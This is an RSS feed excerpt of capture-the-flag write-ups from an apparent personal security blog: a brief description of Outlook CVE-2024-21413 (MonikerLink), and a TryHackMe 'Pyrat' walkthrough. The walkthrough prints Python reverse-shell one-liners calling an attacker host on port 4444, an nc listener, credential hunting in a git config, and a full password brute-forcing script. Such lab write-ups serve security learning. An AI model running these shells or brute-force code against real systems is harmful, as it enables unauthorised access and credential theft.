&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /root/root.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;That&amp;rsquo;s it&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>MonikerLink CTF - Jr Pentester - Tryhackme</title><link>https://silent-resistor.github.io/posts/monikerlink/</link><pubDate>Sat, 25 Jan 2025 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/monikerlink/</guid><description>&lt;p&gt;This is a writeup for the MonikerLink room on tryhackme, which explores &lt;strong&gt;CVE-2024-21413&lt;/strong&gt; - a critical vulnerability in Mircrosoft outlook that allows remote code execution via malicious hyperlinks.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="what-is-cve-2024-21413"&gt;What is CVE-2024-21413?&lt;/h2&gt;
&lt;p&gt;CVE-2024-21413 is a vulnerability in Microsoft outlook that bypasses protected view by usin ga specially crafted &lt;code&gt;file://&lt;/code&gt; URL with a &lt;code&gt;!&lt;/code&gt; character. When a victim clicks thelink, it can leak NTLM credentials or execute code.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="exploit-script"&gt;Exploit Script&lt;/h2&gt;
&lt;p&gt;The following python script sends a phishing email with a malicious link to trigger the vulnerability&lt;/p&gt;</description></item><item><title>Pyrat CTF - Reverse shell - tryhackme</title><link>https://silent-resistor.github.io/posts/pyrat/</link><pubDate>Sat, 25 Jan 2025 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/pyrat/</guid><description>&lt;ol&gt;
&lt;li&gt;scanned the ports with nmap using &lt;code&gt; /usr/lib/nmap/nmap -sS -sC -A --script vuln -oN pyrat.nmap 10.49.176.74&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;22, 8000 open&lt;/li&gt;
&lt;li&gt;didnt see any suspicious at the web server, just giving a simple text&lt;/li&gt;
&lt;li&gt;connectted to http server through telnet and tried for the reverse shell, and thought it may work&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="task-10"&gt;Task 1.0&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;telnet attack_ip &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Its executiting the python instructions. so, i intially tried a direct reverse shell, like below, but it never worked&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# import os,pty,socket;s=socket.socket();s.connect((&amp;#34;ATTACKER_IP&amp;#34;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;#34;bash&amp;#34;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# then i tried with python single instruction without pty. and turns out it worked and got reverse shell on my listener (eg: nc -lvnp 4444)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import socket, os, pty; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;lambda s: &lt;span style="color:#f92672"&gt;(&lt;/span&gt;s.connect&lt;span style="color:#f92672"&gt;((&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;192.168.205.164&amp;#34;&lt;/span&gt;, 4444&lt;span style="color:#f92672"&gt;))&lt;/span&gt;, &lt;span style="color:#f92672"&gt;[&lt;/span&gt;os.dup2&lt;span style="color:#f92672"&gt;(&lt;/span&gt;s.fileno&lt;span style="color:#f92672"&gt;()&lt;/span&gt;, f&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; f in &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0, 1, 2&lt;span style="color:#f92672"&gt;)]&lt;/span&gt;, pty.spawn&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;bash&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)))(&lt;/span&gt;socket.socket&lt;span style="color:#f92672"&gt;())&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;or
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import socket, os; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;lambda s: &lt;span style="color:#f92672"&gt;(&lt;/span&gt;s.connect&lt;span style="color:#f92672"&gt;((&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;192.168.205.164&amp;#34;&lt;/span&gt;, 4444&lt;span style="color:#f92672"&gt;))&lt;/span&gt;, &lt;span style="color:#f92672"&gt;[&lt;/span&gt;os.dup2&lt;span style="color:#f92672"&gt;(&lt;/span&gt;s.fileno&lt;span style="color:#f92672"&gt;()&lt;/span&gt;, f&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; f in &lt;span style="color:#f92672"&gt;(&lt;/span&gt;0, 1, 2&lt;span style="color:#f92672"&gt;)]&lt;/span&gt;, os.system&lt;span style="color:#f92672"&gt;(&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;/bin/bash&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;)))(&lt;/span&gt;socket.socket&lt;span style="color:#f92672"&gt;())&lt;/span&gt; &lt;span style="color:#75715e"&gt;# worked&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="task-11"&gt;Task 1.1&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# listener side&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nc -lvnp &lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# tried by seeing any suid binary, but its unlucky&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# find / -perm /4000 2&amp;gt;/dev/null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# after regouroous search, got a liitle insight, turns out its password for the think user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# make a better shell, intearactive&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SHELL&lt;span style="color:#f92672"&gt;=&lt;/span&gt;/bin/bash script -q /dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#or&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#stty raw -echo &amp;amp;&amp;amp; fg&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# find the pass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /opt/dev/.git; cat config
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="task-2"&gt;Task 2&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# tried to ssh the attack machine with the think user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh think@attack_ip 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat user.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="task-3"&gt;Task 3&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;when we tried to connect to the http server, it seems like its asking credentials.&lt;/li&gt;
&lt;li&gt;i have tried entering the &amp;lsquo;admin&amp;rsquo;, it turns out asking the password.&lt;/li&gt;
&lt;li&gt;by taking this as chance, why cant i bruteforce&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# pyrat.py file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; socket
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;target_ip &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;10.48.128.93&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# Target IP {CHANGE THIS}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;target_port &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt; &lt;span style="color:#75715e"&gt;# Target port&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;password_wordlist &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;/usr/share/wordlists/rockyou.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;connect_and_send_password&lt;/span&gt;(password):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client_socket &lt;span style="color:#f92672"&gt;=&lt;/span&gt; socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;socket(socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;AF_INET, socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;SOCK_STREAM)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;connect((target_ip, target_port))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;sendall(&lt;span style="color:#e6db74"&gt;b&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;admin&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response &lt;span style="color:#f92672"&gt;=&lt;/span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;recv(&lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;decode()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Server response after sending &amp;#39;admin&amp;#39;: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;response&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Password:&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; response:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Trying password: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;password&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;sendall(password&lt;span style="color:#f92672"&gt;.&lt;/span&gt;encode() &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#e6db74"&gt;b&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;\n&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response &lt;span style="color:#f92672"&gt;=&lt;/span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;recv(&lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;decode()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;success&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; response&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lower() &lt;span style="color:#f92672"&gt;or&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;admin&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;in&lt;/span&gt; response&lt;span style="color:#f92672"&gt;.&lt;/span&gt;lower():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Server respondse for password &amp;#39;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;password&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;response&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Passwsd wrong&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;except&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Exception&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Error: &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;e&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;finally&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; client_socket&lt;span style="color:#f92672"&gt;.&lt;/span&gt;close()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fuzz_words&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;with&lt;/span&gt; open(password_wordlist, &lt;span style="color:#e6db74"&gt;&amp;#39;r&amp;#39;&lt;/span&gt;, encoding&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;latin-1&amp;#34;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; passwords &lt;span style="color:#f92672"&gt;=&lt;/span&gt; f&lt;span style="color:#f92672"&gt;.&lt;/span&gt;readlines()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; password &lt;span style="color:#f92672"&gt;in&lt;/span&gt; passwords:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; password &lt;span style="color:#f92672"&gt;=&lt;/span&gt; password&lt;span style="color:#f92672"&gt;.&lt;/span&gt;strip()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; connect_and_send_password(password):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Found correct password &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;password&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;wrong pass, &lt;/span&gt;&lt;span style="color:#e6db74"&gt;{&lt;/span&gt;password&lt;span style="color:#e6db74"&gt;}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;, reconnecting...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;fuzz_words()
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 pyrat.py &lt;span style="color:#75715e"&gt;# --&amp;gt; will give pass for the web shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nc attack_ip &lt;span style="color:#ae81ff"&gt;8000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; admin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; Password: abc123
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item></channel></rss>